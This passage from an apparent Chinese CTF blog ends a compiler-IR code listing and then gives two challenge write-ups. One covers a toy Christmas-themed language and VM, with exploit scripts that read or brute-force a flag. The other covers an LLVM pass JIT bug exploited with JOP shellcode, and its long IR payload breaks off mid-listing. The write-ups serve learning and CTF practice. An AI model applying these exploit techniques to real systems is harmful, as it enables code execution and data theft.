            printf("LABEL %s :\n", h->result.id);
            break;
        case GOTO:
            printf("  GOTO %s\n", h->result.id);
            break;
        case JLE:
            printf("  IF %s <= %s GOTO %s\n", opnstr1, opnstr2, resultstr);
            break;
        case JLT:
            printf("  IF %s < %s GOTO %s\n", opnstr1, opnstr2, resultstr);
            break;
        case JGE:
            printf("  IF %s >= %s GOTO %s\n", opnstr1, opnstr2, resultstr);
            break;
        case JGT:
            printf("  IF %s > %s GOTO %s\n", opnstr1, opnstr2, resultstr);
            break;
        case EQ:
            printf("  IF %s == %s GOTO %s\n", opnstr1, opnstr2, resultstr);
            break;
        case NEQ:
            printf("  IF %s != %s GOTO %s\n", opnstr1, opnstr2, resultstr);
            break;
        case ARG:
            printf("  ARG %s\n", h->result.id);
            break;
        case CALL:
            printf("  %s := CALL %s\n", resultstr, opnstr1);
            break;
        case RETURN:
            if (h->result.kind)
                printf("  RETURN %s\n", resultstr);
            else
                printf("  RETURN\n");
            break;
        }
        h = h->next;
    } while (h != head);
}

目前 IR 转汇编的部分还没有实现，这次我打算直接转化为 AT&T 格式的汇编指令（MIPS 虚拟机不好调试）

编译原理pwn

Posted on 2023-03-27 In Reappearance 8k 7 mins.

Christmas Song 复现

Christmas_Song: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=01c26c8510f895dce9e8ce077df41f1398428598, for GNU/Linux 3.2.0, with debug_info, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位，dynamically，Full RELRO，NX，PIE

题目分析

本题目和编译原理有关，给出了源码，这里重点关注一下 parser.y scanner.l 文件

编译器的构造过程需要两个工具 Flex（用于词法分析）和 Bison（用于语法分析），这两个工具会将上述文件中的指令转化为C代码

因此，理解了 parser.y scanner.l 文件就相当于理解了该编译器的运行逻辑：

scanner.l：词法分析，判断出源代码中出现的符号

%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
#include "parser.h"
int line = 1;
%}
%option noyywrap

%%
";"             {return NEW_LINE;}
":"             {return NEXT;}
"is"            {yylval=ast_operator_init('=');return OPERATOR;}
"gift"          {return GIFT;}
"reindeer"      {return REINDEER;}
"equal to"      {yylval=ast_operator_init('?'); return OPERATOR;}
"greater than"  {yylval=ast_operator_init('>'); return OPERATOR;}
"if the gift"   {return IF;}
"delivering gift"    {return DELIVERING;}
"brings back gift"   {return BACK;}
"this family wants gift"                {return WANT;}
"ok, they should already have a gift;"  {return ENDWANT;}
"Brave reindeer! Fear no difficulties!" {yylval=ast_init_type(AST_AGAIN);return AGAIN;}

<<EOF>>         {return 0;}

[ ]             {/* empty */}
[\n]            {line++;}
[-+*/]          {yylval=ast_operator_init(yytext[0]); return OPERATOR;}
[a-zA-Z]+       {yylval=ast_word_init(yytext); return WORD;}
[0-9]+          {yylval=ast_number_init(yytext); return NUMBER;}
\"([^\"]*)\"    {yylval=ast_string_init(yytext); return STRING;}
(#[^#]*#)       {/* empty */}
%%

void yyerror(ast_t **modlue,const char *msg) {
    printf("\nError at %d: %s\n\t%s\n", line, yytext, msg);
    exit(1);
}

简单来说就是用正则表达式来匹配各个符号
可以暂时不分析具体的函数

parser.y：语法分析，规定各个符号该如何组织成语句

%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
extern int yylex (void);
void yyerror(ast_t **modlue, const char*);
%}

%parse-param { ast_t **module}

%token GIFT REINDEER DELIVERING BACK STRING
%token WORD NEW_LINE NUMBER OPERATOR
%token AGAIN IF WANT ENDWANT NEXT 

%%
proprame    :   stmts   
                {$$ = *module = $1;}
            ;
/* 语句列表 */
stmts   :   stmt /* 单个语句 */
                {$$ = ast_init(AST_STMT, 1, $1);}
        |   stmts stmt /* 多个语句 */
                {$$ = ast_add_child($1, $2);}
        ;
/* 语句 */
stmt    :   call_expr /* 函数调用 */
        |   want_stmt /* want语句 */
        |   var_expr NEW_LINE /* 变量声明 */
                {$$ = $1;} 
        ;
/* want语句 */
want_stmt :     WANT WORD lists ENDWANT /* want语句的格式 */
                {$$ = ast_init(AST_WANT, 2, $2, $3);}
        ;
/* want结构列表 */
lists    :  list /* 单个want结构 */
                {$$ = ast_init(AST_LISTS, 1, $1);}
        |  lists list /* 多个want结构 */
                {$$ = ast_add_child($1, $2);}
        ;
/* want结构 */
list    :  IF OPERATOR expr NEXT stmts /* 相当于IF语句 */
                {$$ = ast_init(AST_LIST, 3, $2, $3, $5);}
        | list AGAIN /* want结构的格式 */
                {$$ = ast_add_child($1, $2);}
/* 函数调用 */
call_expr   : call_expr BACK WORD NEW_LINE /* 返回值的格式 */
                {$$ = ast_add_child($1, $3);}
            | call_expr NEW_LINE /* 函数调用的格式 */
                {$$ = $1;}
            | REINDEER WORD DELIVERING WORD WORD WORD /* 函数调用的格式 */
                {$$ = ast_init(AST_FUNCTION, 4, $2, $4, $5, $6);}
            ;
/* 变量 */
var_expr    : GIFT expr /* 变量格式 */
                {$$=$2;}
            ;
/* 表达式 */
expr    :   expr OPERATOR expr 
                {$$=ast_init(AST_EXPR, 3, $1, $2, $3);}
        |   WORD /* 符号 */   
                {$$=$1;}
        |   NUMBER /* 数字 */
                {$$=$1;}
        |   STRING /* 字符串 */
                {$$=$1;}
        ;
%%

语法分析的目的就是为了生成语法分析树 AST
本题目不用探讨这个问题，只需要先了解语法即可

核心语法如下：

函数调用：

1 2	REINDEER [WORD] DELIVERING [WORD WORD WORD] (BACK [WORD]) NEW_LINE reindeer [函数名] delivering gift [参数1 参数2 参数3] (brings back gift [返回值]);

Want 语句：

1
2

WANT [WORD] IF [OPERATOR] [expr] NEXT [stmts] AGAIN ENDWANT
this family wants gift [变量] if the gift [+-*/=?>] [表达式] : [复合语句] Brave reindeer! Fear no difficulties! ok, they should already have a gift;

分析完程序的语法，就可以进入语义分析阶段了，首先需要了解一个核心宏定义：

#define map(var, TYPE, type)                                                 \
    case AST_##TYPE:                                                         \
        compile_##type((var), lambda);                                       \
        break
#define map(OPCODE, opcode)                                                 \
    case OP_##OPCODE:                                                         \
        emit_insn_##opcode(this, ast);                                       \
        break

起始函数如下：

void back_process(ast_t* m, char * scom_file){
    FILE * out = fopen(scom_file, "w");
    lambda_t *l = lambda_init();
    compile_stmts(m, l);
    save_scom(l, out);
    fclose(out);
}

void compile_stmts(arg){
    int i = 0;
    ast_t*child = NULL;
    ast_each_child(ast, i, child) /* 遍历AST */
        compile_stmt(child, lambda); /* 处理语句stmt */
}

处理语句 stmt：

void compile_stmt(arg){
    switch(ast->type){
        map(ast, EXPR, expr); /* 处理表达式 */
        map(ast, FUNCTION, function); /* 处理函数调用 */
        map(ast, WANT, want); /* 处理want语句 */
    }
}

处理函数调用：

void compile_function(arg){
    ast_t *func = ast_get_child(ast, 0);
    ast_t *arg1 = ast_get_child(ast, 1);
    ast_t *arg2 = ast_get_child(ast, 2);
    ast_t *arg3 = ast_get_child(ast, 3);

    emit_insn(OP_LOAD_WORD, arg1); /* 处理第1个参数 */
    emit_insn(OP_LOAD_WORD, arg2); /* 处理第2个参数 */
    emit_insn(OP_LOAD_WORD, arg3); /* 处理第3个参数 */

    emit_insn_call(lambda, func); /* 处理函数调用 */

    if (ast_get_child_count(ast) == 5){
        ast_t *ret = ast_get_child(ast, 4);
        if (ret->type == AST_WORD)
            emit_insn(OP_STORE, ret);
    }
}

其实底层就是把 AST 转化为虚拟机能理解的代码

处理 want 语句：（底层比较辅助，将其理解为 IF 语句就好了）

void compile_want(ast_t *ast, lambda_t *lambda){
    ast_t *word = ast_get_child(ast, 0);
    ast_t *lists = ast_get_child(ast, 1);
    ast_t *list;
    int i = 0;
    int start = lambda_get_code_count(lambda);
    ast_each_child(lists, i, list)
        compile_list(list, lambda, word, start); /* 处理复合语句 */
}

但语义分析完毕以后，源程序就被转化为虚拟机代码

在如下函数中被执行：

void vm_call_lambda(lambda_t *l){
    runtime_t *r = runtime_init();

    // gift to Christmas Bash!
    // Don't play too late for the party! Remember to sleep!

    // gift_t * gift = gift_init("sleep", sleep);
    // runtime_set_gift(r, gift);

    while(r->is_run){
        switch(get_code){
            display(STORE, store);
            display(LOAD_NUMBER, load_number);
            display(LOAD_STRING, load_string);
            display(LOAD_WORD, load_word);

            display(CALL, call);
            display(JZ, jz);
            display(JMP, jmp);

            operator(ADD);
            operator(SUB);
            operator(DIV);
            operator(MUL);
            operator(GRAETER);
            operator(EQUAL);
        }
        check_next(r, l);
    }
}

入侵思路

本题目提供了 read open 函数，有这两个函数就可以把 flag 读取到本地内存

然后 open flag，在 open 失败后会进行打印，可以把 flag 打印出来

完整 exp：

gift NULL is 0;
gift FD is 0;
gift C is 4096;
gift RN is 32;
gift E is 0;
reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK;
gift BUF is LEAK+12288;

reindeer Dasher delivering gift FD BUF RN;

reindeer Dancer delivering gift BUF NULL NULL brings back gift FILEFD;
gift FLAGLEN is 30;
reindeer Dasher delivering gift FILEFD BUF FLAGLEN;
reindeer Dancer delivering gift BUF NULL NULL;

from pwn import *

#p = remote("124.71.144.133", 2144)
p = process(["python3", "server.py"])
context.log_level = "debug"

with open("./exp.slang", "rb") as f:
    p.sendline(f.read())
p.sendline(b"EOF")

pause(1)
p.send(b"./flag\x00")

p.interactive()

还有一种思路是利用 Want 语句爆破 flag，exp 如下：

from pwn import * 
import string

# context.log_level = "debug"

dic = string.ascii_letters + string.digits + "_}"
print(dic)

flag = "SCTF{"
for i in range(21-5-1):
    for ch in dic:
        tmp = flag + ch
        slang_file = """
gift stdout is 1;
gift flag is "./flag";
gift buf is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
gift size is 40;
gift none is 0;
gift fd is 0;
gift len is {};
gift guess is "{}";

reindeer Dancer delivering gift flag none none brings back gift fd;
reindeer Dasher delivering gift fd buf size;
reindeer Prancer delivering gift buf guess len brings back gift success;

this family wants gift success
    if the gift equal to 0:
        gift a is 1;
        Brave reindeer! Fear no difficulties!
ok, they should already have a gift;
EOF
        """.format(i+5+1, tmp)
        cn = process("python3 server.py".split(" "))
        cn.recvuntil("===== Enter partial source for edge compute app (EOF to finish):")
        cn.sendline(slang_file.encode())
        start = time.time()
        cn.recvuntil("===== Test complete!")
        end = time.time()
        if (int(end - start) == 1):
            flag += ch
            print("[!] -get: ", flag)
            cn.close()
            break
        cn.close()
 
print(flag)

LLVM+JOP

Posted on 2023-03-26 In Reappearance 28k 25 mins.

satool 复现

mbaPass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位，dynamically，Partial RELRO，NX，PIE

这是一个 LLVM 程序

LLVM PASS

LLVM 可以提供可编程语言无关的优化，和针对很多种CPU的代码生成功能：

源代码 ==>[词法分析]==> 词法单元流(token) ==>[语法/语义分析]==> 语法树(AST) ==>[中间代码的生成]==> LLVM IR ==>[中间代码的优化]==> 生成汇编代码 ==>[汇编+链接]==> 目标机器代码

LLVM IR 就是中间代码

LLVM PASS 就是：遍历一遍 IR，可以同时对它做一些操作

LLVM 的优化和转换工作就是由多个 pass 来一起完成的，类似流水线操作一样，每个 pass 完成特定的优化工作

题目给出的优化信息如下：

## Introduction

A LLVM Pass that can optimize add/sub instructions.

## How to run

opt-12 -load ./mbaPass.so -mba {*.bc/*.ll} -S

## Example

### IR before optimization

```
define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
  %2 = sub nsw i64 %0, 2
  %3 = add nsw i64 %2, 68
  %4 = add nsw i64 %0, 6
  %5 = add nsw i64 %4, -204
  %6 = add nsw i64 %5, %3
  ret i64 %6
}
```

### IR after optimization

```
define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
  %2 = mul i64 %0, 2
  %3 = add i64 %2, -132
  ret i64 %3
}
```

opt-12：说明版本为 LLVM-12
看上去是对 sub add 的合并优化

漏洞分析

先是做了一个判断：

if ( llvm::Function::arg_size(fun) != 1 || (fun = function, llvm::Function::size(function) != 1) )
{
    v3 = llvm::errs(fun);
    llvm::raw_ostream::operator<<(v3, "Function has more than one argument or basicblock\n");
    exit(-1);
}
this->map_pointer = this->map;
mprotect(this->map, 0x1000uLL, 3);            // PROT_EXEC(0x1)+PROT_WRITE(0x2)
anonymous namespace::MBAPass::handle(this, fun);// get asm to this->map
mprotect(this->map, 0x1000uLL, 5);            // PROT_EXEC(0x1)+PROT_READ(0x4)

对于一个函数有且仅有一个参数和一个基本块
在执行 handle 之前修改了 this->map 的权限，范围为 0x1000 字节

void *__fastcall `anonymous namespace'::MBAPass::MBAPass(pass *this)
{
    llvm::FunctionPass::FunctionPass(this, anonymous namespace::MBAPass::ID);
    this->vtable = &vtable for anonymous namespace::MBAPass + 16;
    this->map = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
    return memset(this->map, 0xC3, 0x1000uLL);
}

这个 this->map 是用 mmap 分配的（在 ld 中）
其地址可以用 GDB 确定：

0x7ffff7fcf000     0x7ffff7fd0000 r--p     1000 0      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7fd0000     0x7ffff7ff3000 r-xp    23000 1000   /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ff3000     0x7ffff7ffb000 r--p     8000 24000  /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffb000     0x7ffff7ffc000 r-xp     1000 0      [anon_7ffff7ffb] /* map */
0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 2c000  /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 2d000  /usr/lib/x86_64-linux-gnu/ld-2.31.so

进入核心函数 handle：

if ( (llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1) != 0 )// 常量引用
{
    this->field_30 = 0;
    Constant = llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(Operand);
    SExtValue = llvm::ConstantInt::getSExtValue(Constant);// 通过符号扩展将底层APInt值转换为int64_t
    anonymous namespace::MBAPass::writeMovImm64(this, 0, SExtValue);
    return `anonymous namespace::MBAPass::writeRet(this);
}
else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1) != 0 )// 变量引用
{
    this->field_30 = 1;
    anonymous namespace::MBAPass::writeMovImm64(this, 0, 0LL);
    return anonymous namespace::MBAPass::writeRet(this);
}
else                                          // 程序通常会走这里

分类型进行处理，经过调试前两条路都不会进入，程序会进入 else 语句

程序的漏洞点在这里：

1	while ( this->map_pointer < boundary ) // this->map + 0xFF0

当写入的代码长度大于 0xFF0 时，程序将退出循环
但最后一次写入仍然可以执行，利用 writeMovImm64 可以写入8字节的数据
程序并没有对 this->map 进行初始化，导致这8字节数据可以遗留到下次 JIT 中

下面一系列函数都可以往 this->map 写入数据：

`anonymous namespace'::MBAPass::writeMovImm64(int,ulong)	.text	000000000000F780	00000113	00000028		R	.	.	.	.	B	T	.
`anonymous namespace'::MBAPass::writeRet(void)	.text	000000000000F8A0	00000015	00000010		R	.	.	.	.	B	T	.
`anonymous namespace'::MBAPass::writeInc(int)	.text	000000000000F8C0	0000005B	00000020		R	.	.	.	.	B	T	.
`anonymous namespace'::MBAPass::writeOpReg(int)	.text	000000000000F920	00000063	00000020		R	.	.	.	.	B	T	.

writeMovImm64：

pass *__fastcall `anonymous namespace'::MBAPass::writeMovImm64(pass *this, int key, __int64 Value)
{
    pass *result; // rax

    *this->map_pointer = 0x48;
    if ( key )
        this->map_pointer[1] = 0xBB;                // mov rbx
    else
        this->map_pointer[1] = 0xB8;                // mov rax
    result = this;
    *(this->map_pointer + 2) = Value;
    this->map_pointer += 10;
    return result;
}

Value 的长度为“8”，指令总长为“10”

writeRet：

char *__fastcall `anonymous namespace'::MBAPass::writeRet(pass *this)
{
    char *result; // rax

    result = this->map_pointer;
    *result = 0xC3;                               // ret
    return result;
}

指令总长为“1”

writeInc：

pass *__fastcall `anonymous namespace'::MBAPass::writeInc(pass *this, int key)
{
    pass *result; // rax

    *this->map_pointer = 0x48;
    this->map_pointer[1] = 0xFF;
    if ( key == 1 )
        this->map_pointer[2] = 0xC0;                // inc rax 
    else
        this->map_pointer[2] = 0xC8;                // dev rax
    result = this;
    this->map_pointer += 3;
    return result;
}

指令总长为“3”

writeOpReg：

pass *__fastcall `anonymous namespace'::MBAPass::writeOpReg(pass *this, int key)
{
    pass *result; // rax

    *this->map_pointer = 0x48;
    if ( key )                                    // 恒定为'1'
        this->map_pointer[1] = 1;                   // add rax,rbx
    else
        this->map_pointer[1] = 0x29;                // sub rax,rbx
    this->map_pointer[2] = 0xD8;
    result = this;
    this->map_pointer += 3;
    return result;
}

指令总长为“3”

函数 handle 执行完毕以后会执行 callCode，直接执行刚刚存放在 this->map 中的代码

__int64 __fastcall `anonymous namespace'::MBAPass::callCode(pass *this, __int64 size)
{
  return (this->map)(this, size);
}

入侵思路

要在 handle 中往 this->map 中写入 shellcode，然后在 callCode 中执行

注意：经过调试，发现 this->map 中是倒着写的（程序使用栈来存储数据）

当写入的代码长度大于 0xFF0 时，程序将退出循环，但正在执行的 writeMovImm64 函数仍能写入8字节数据（作为 Value）

如果我们在第一次 JIT 时往这8字节的 Value 中写入 shellcode，第二次 JIT 时又令其代码长度刚好为 0xFF0，就会导致程序执行我们的8字节 shellcode（本质上讲程序的漏洞点在于没有初始化 this->map，类似于 UAF）

shellcode 长度很短，网上找到的 exp 都是往这里写入一个 JMP 跳转，跳转到 Value 中（利用错位去执行 Value 中布置的 shellcode 片段）

在每一个8字节 Value 的开头都写入 JMP（跳转到下一个 Value），后续写入 shellcode 片段，组成 JOP 链

完整 exp 如下：

define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 3001782416
  %3 = add nsw i64 %2, 20000000000000
  %4 = add nsw i64 %3, 20000000000000
  %5 = add nsw i64 %4, 20000000000000
  %6 = add nsw i64 %5, 20000000000000
  %7 = add nsw i64 %6, 20000000000000
  %8 = add nsw i64 %7, 20000000000000
  %9 = add nsw i64 %8, 20000000000000
  %10 = add nsw i64 %9, 20000000000000
  %11 = add nsw i64 %10, 20000000000000
  %12 = add nsw i64 %11, 20000000000000
  %13 = add nsw i64 %12, 20000000000000
  %14 = add nsw i64 %13, 20000000000000
  %15 = add nsw i64 %14, 20000000000000
  %16 = add nsw i64 %15, 20000000000000
  %17 = add nsw i64 %16, 20000000000000
  %18 = add nsw i64 %17, 20000000000000
  %19 = add nsw i64 %18, 20000000000000
  %20 = add nsw i64 %19, 20000000000000
  %21 = add nsw i64 %20, 20000000000000
  %22 = add nsw i64 %21, 20000000000000
  %23 = add nsw i64 %22, 20000000000000
  %24 = add nsw i64 %23, 20000000000000
  %25 = add nsw i64 %24, 20000000000000
  %26 = add nsw i64 %25, 20000000000000
  %27 = add nsw i64 %26, 20000000000000
  %28 = add nsw i64 %27, 20000000000000
  %29 = add nsw i64 %28, 20000000000000
  %30 = add nsw i64 %29, 20000000000000
  %31 = add nsw i64 %30, 20000000000000
  %32 = add nsw i64 %31, 20000000000000
  %33 = add nsw i64 %32, 20000000000000
  %34 = add nsw i64 %33, 20000000000000
  %35 = add nsw i64 %34, 20000000000000
  %36 = add nsw i64 %35, 20000000000000
  %37 = add nsw i64 %36, 20000000000000
  %38 = add nsw i64 %37, 20000000000000
  %39 = add nsw i64 %38, 20000000000000
  %40 = add nsw i64 %39, 20000000000000
  %41 = add nsw i64 %40, 20000000000000
  %42 = add nsw i64 %41, 20000000000000
  %43 = add nsw i64 %42, 20000000000000
  %44 = add nsw i64 %43, 20000000000000
  %45 = add nsw i64 %44, 20000000000000
  %46 = add nsw i64 %45, 20000000000000
  %47 = add nsw i64 %46, 20000000000000
  %48 = add nsw i64 %47, 20000000000000
  %49 = add nsw i64 %48, 20000000000000
  %50 = add nsw i64 %49, 20000000000000
  %51 = add nsw i64 %50, 20000000000000
  %52 = add nsw i64 %51, 20000000000000
  %53 = add nsw i64 %52, 20000000000000
  %54 = add nsw i64 %53, 20000000000000
  %55 = add nsw i64 %54, 20000000000000
  %56 = add nsw i64 %55, 20000000000000
  %57 = add nsw i64 %56, 20000000000000
  %58 = add nsw i64 %57, 20000000000000
  %59 = add nsw i64 %58, 20000000000000
  %60 = add nsw i64 %59, 20000000000000
  %61 = add nsw i64 %60, 20000000000000
  %62 = add nsw i64 %61, 20000000000000
  %63 = add nsw i64 %62, 20000000000000
  %64 = add nsw i64 %63, 20000000000000
  %65 = add nsw i64 %64, 20000000000000
  %66 = add nsw i64 %65, 20000000000000
  %67 = add nsw i64 %66, 20000000000000
  %68 = add nsw i64 %67, 20000000000000
  %69 = add nsw i64 %68, 20000000000000
  %70 = add nsw i64 %69, 20000000000000
  %71 = add nsw i64 %70, 20000000000000
  %72 = add nsw i64 %71, 20000000000000
  %73 = add nsw i64 %72, 20000000000000
  %74 = add nsw i64 %73, 20000000000000
  %75 = add nsw i64 %74, 20000000000000
  %76 = add nsw i64 %75, 20000000000000
  %77 = add nsw i64 %76, 20000000000000
  %78 = add nsw i64 %77, 20000000000000
  %79 = add nsw i64 %78, 20000000000000
  %80 = add nsw i64 %79, 20000000000000
  %81 = add nsw i64 %80, 20000000000000
  %82 = add nsw i64 %81, 20000000000000
  %83 = add nsw i64 %82, 20000000000000
  %84 = add nsw i64 %83, 20000000000000
  %85 = add nsw i64 %84, 20000000000000
  %86 = add nsw i64 %85, 20000000000000
  %87 = add nsw i64 %86, 20000000000000
  %88 = add nsw i64 %87, 20000000000000
  %89 = add nsw i64 %88, 20000000000000
  %90 = add nsw i64 %89, 20000000000000
  %91 = add nsw i64 %90, 20000000000000
  %92 = add nsw i64 %91, 20000000000000
  %93 = add nsw i64 %92, 20000000000000
  %94 = add nsw i64 %93, 20000000000000
  %95 = add nsw i64 %94, 20000000000000
  %96 = add nsw i64 %95, 20000000000000
  %97 = add nsw i64 %96, 20000000000000
  %98 = add nsw i64 %97, 20000000000000
  %99 = add nsw i64 %98, 20000000000000
  %100 = add nsw i64 %99, 20000000000000
  %101 = add nsw i64 %100, 20000000000000
  %102 = add nsw i64 %101, 20000000000000
  %103 = add nsw i64 %102, 20000000000000
  %104 = add nsw i64 %103, 20000000000000
  %105 = add nsw i64 %104, 20000000000000
  %106 = add nsw i64 %105, 20000000000000
  %107 = add nsw i64 %106, 20000000000000
  %108 = add nsw i64 %107, 20000000000000
  %109 = add nsw i64 %108, 20000000000000
  %110 = add nsw i64 %109, 20000000000000
  %111 = add nsw i64 %110, 20000000000000
  %112 = add nsw i64 %111, 20000000000000
  %113 = add nsw i64 %112, 20000000000000
  %114 = add nsw i64 %113, 20000000000000
  %115 = add nsw i64 %114, 20000000000000
  %116 = add nsw i64 %115, 20000000000000
  %117 = add nsw i64 %116, 20000000000000
  %118 = add nsw i64 %117, 20000000000000
  %119 = add nsw i64 %118, 20000000000000
  %120 = add nsw i64 %119, 20000000000000
  %121 = add nsw i64 %120, 20000000000000
  %122 = add nsw i64 %121, 20000000000000
  %123 = add nsw i64 %122, 20000000000000
  %124 = add nsw i64 %123, 20000000000000
  %125 = add nsw i64 %124, 20000000000000
  %126 = add nsw i64 %125, 20000000000000
  %127 = add nsw i64 %126, 20000000000000
  %128 = add nsw i64 %127, 20000000000000
  %129 = add nsw i64 %128, 20000000000000
  %130 = add nsw i64 %129, 20000000000000
  %131 = add nsw i64 %130, 20000000000000
  %132 = add nsw i64 %131, 20000000000000
  %133 = add nsw i64 %132, 20000000000000
  %134 = add nsw i64 %133, 20000000000000
  %135 = add nsw i64 %134, 20000000000000
  %136 = add nsw i64 %135, 20000000000000
  %137 = add nsw i64 %136, 20000000000000
  %138 = add nsw i64 %137, 20000000000000
  %139 = add nsw i64 %138, 20000000000000
  %140 = add nsw i64 %139, 20000000000000
  %141 = add nsw i64 %140, 20000000000000
  %142 = add nsw i64 %141, 20000000000000
  %143 = add nsw i64 %142, 20000000000000
  %144 = add nsw i64 %143, 20000000000000
  %145 = add nsw i64 %144, 20000000000000
  %146 = add nsw i64 %145, 20000000000000
  %147 = add nsw i64 %146, 20000000000000
  %148 = add nsw i64 %147, 20000000000000
  %149 = add nsw i64 %148, 20000000000000
  %150 = add nsw i64 %149, 20000000000000
  %151 = add nsw i64 %150, 20000000000000
  %152 = add nsw i64 %151, 20000000000000
  %153 = add nsw i64 %152, 20000000000000
  %154 = add nsw i64 %153, 20000000000000
  %155 = add nsw i64 %154, 20000000000000
  %156 = add nsw i64 %155, 20000000000000
  %157 = add nsw i64 %156, 20000000000000
  %158 = add nsw i64 %157, 20000000000000
  %159 = add nsw i64 %158, 20000000000000
  %160 = add nsw i64 %159, 20000000000000
  %161 = add nsw i64 %160, 20000000000000
  %162 = add nsw i64 %161, 20000000000000
  %163 = add nsw i64 %162, 20000000000000
  %164 = add nsw i64 %163, 20000000000000
  %165 = add nsw i64 %164, 20000000000000
  %166 = add nsw i64 %165, 20000000000000
  %167 = add nsw i64 %166, 20000000000000
  %168 = add nsw i64 %167, 20000000000000
  %169 = add nsw i64 %168, 20000000000000
  %170 = add nsw i64 %169, 20000000000000
  %171 = add nsw i64 %170, 20000000000000
  %172 = add nsw i64 %171, 20000000000000
  %173 = add nsw i64 %172, 20000000000000
  %174 = add nsw i64 %173, 20000000000000
  %175 = add nsw i64 %174, 20000000000000
  %176 = add nsw i64 %175, 20000000000000
  %177 = add nsw i64 %176, 20000000000000
  %178 = add nsw i64 %177, 20000000000000
  %179 = add nsw i64 %178, 20000000000000
  %180 = add nsw i64 %179, 20000000000000
  %181 = add nsw i64 %180, 20000000000000
  %182 = add nsw i64 %181, 20000000000000
  %183 = add nsw i64 %182, 20000000000000
  %184 = add nsw i64 %183, 20000000000000
  %185 = add nsw i64 %184, 20000000000000
  %186 = add nsw i64 %185, 20000000000000
  %187 = add nsw i64 %186, 20000000000000
  %188 = add nsw i64 %187, 20000000000000
  %189 = add nsw i64 %188, 20000000000000
  %190 = add nsw i64 %189, 20000000000000
  %191 = add nsw i64 %190, 20000000000000
  %192 = add nsw i64 %191, 20000000000000
  %193 = add nsw i64 %192, 20000000000000
  %194 = add nsw i64 %193, 20000000000000
  %195 = add nsw i64 %194, 20000000000000
  %196 = add nsw i64 %195, 20000000000000
  %197 = add nsw i64 %196, 20000000000000
  %198 = add nsw i64 %197, 20000000000000
  %199 = add nsw i64 %198, 20000000000000
  %200 = add nsw i64 %199, 20000000000000
  %201 = add nsw i64 %200, 20000000000000
  %202 = add nsw i64 %201, 20000000000000
  %203 = add nsw i64 %202, 20000000000000
  %204 = add nsw i64 %203, 20000000000000
  %205 = add nsw i64 %204, 20000000000000
  %206 = add nsw i64 %205, 20000000000000
  %207 = add nsw i64 %206, 20000000000000
  %208 = add nsw i64 %207, 20000000000000
  %209 = add nsw i64 %208, 20000000000000
  %210 = add nsw i64 %209, 20000000000000
  %211 = add nsw i64 %210, 20000000000000
  %212 = add nsw i64 %211, 20000000000000
  %213 = add nsw i64 %212, 20000000000000
  %214 = add nsw i64 %213, 20000000000000
  %215 = add nsw i64 %214, 20000000000000
  %216 = add nsw i64 %215, 20000000000000
  %217 = add nsw i64 %216, 20000000000000
  %218 = add nsw i64 %217, 20000000000000
  %219 = add nsw i64 %218, 20000000000000
  %220 = add nsw i64 %219, 20000000000000
  %221 = add nsw i64 %220, 20000000000000
  %222 = add nsw i64 %221, 20000000000000
  %223 = add nsw i64 %222, 20000000000000
  %224 = add nsw i64 %223, 20000000000000
  %225 = add nsw i64 %224, 20000000000000
  %226 = add nsw i64 %225, 20000000000000
  %227 = add nsw i64 %226, 20000000000000
  %228 = add nsw i64 %227, 20000000000000
  %229 = add nsw i64 %228, 20000000000000
  %230 = add nsw i64 %229, 20000000000000
  %231 = add nsw i64 %230, 20000000000000
  %232 = add nsw i64 %231, 20000000000000
  %233 = add nsw i64 %232, 20000000000000
  %234 = add nsw i64 %233, 20000000000000
  %235 = add nsw i64 %234, 20000000000000
  %236 = add nsw i64 %235, 20000000000000
  %237 = add nsw i64 %236, 20000000000000
  %238 = add nsw i64 %237, 20000000000000
  %239 = add nsw i64 %238, 20000000000000
  %240 = add nsw i64 %239, 20000000000000
  %241 = add nsw i64 %240, 20000000000000
  %242 = add nsw i64 %241, 20000000000000
  %243 = add nsw i64 %242, 20000000000000
  %244 = add nsw i64 %243, 20000000000000
  %245 = add nsw i64 %244, 20000000000000
  %246 = add nsw i64 %245, 20000000000000
  %247 = add nsw i64 %246, 20000000000000
  %248 = add nsw i64 %247, 20000000000000
  %249 = add nsw i64 %248, 20000000000000
  %250 = add nsw i64 %249, 20000000000000
  %251 = add nsw i64 %250, 20000000000000
  %252 = add nsw i64 %251, 20000000000000
  %253 = add nsw i64 %252, 20000000000000
  %254 = add nsw i64 %253, 20000000000000
  %255 = add nsw i64 %254, 20000000000000
  %256 = add nsw i64 %255, 20000000000000
  %257 = add nsw i64 %256, 20000000000000
  %258 = add nsw i64 %257, 20000000000000
  %259 = add nsw i64 %258, 20000000000000
  %260 = add nsw i64 %259, 20000000000000
  %261 = add nsw i64 %260, 20000000000000
  %262 = add nsw i64 %261, 20000000000000
  %263 = add nsw i64 %262, 20000000000000
  %264 = add nsw i64 %263, 20000000000000
  %265 = add nsw i64 %264, 20000000000000
  %266 = add nsw i64 %265, 20000000000000
  %267 = add nsw i64 %266, 20000000000000
  %268 = add nsw i64 %267, 20000000000000
  %269 = add nsw i64 %268, 20000000000000
  %270 = add nsw i64 %269, 20000000000000
  %271 = add nsw i64 %270, 20000000000000
  %272 = add nsw i64 %271, 20000000000000
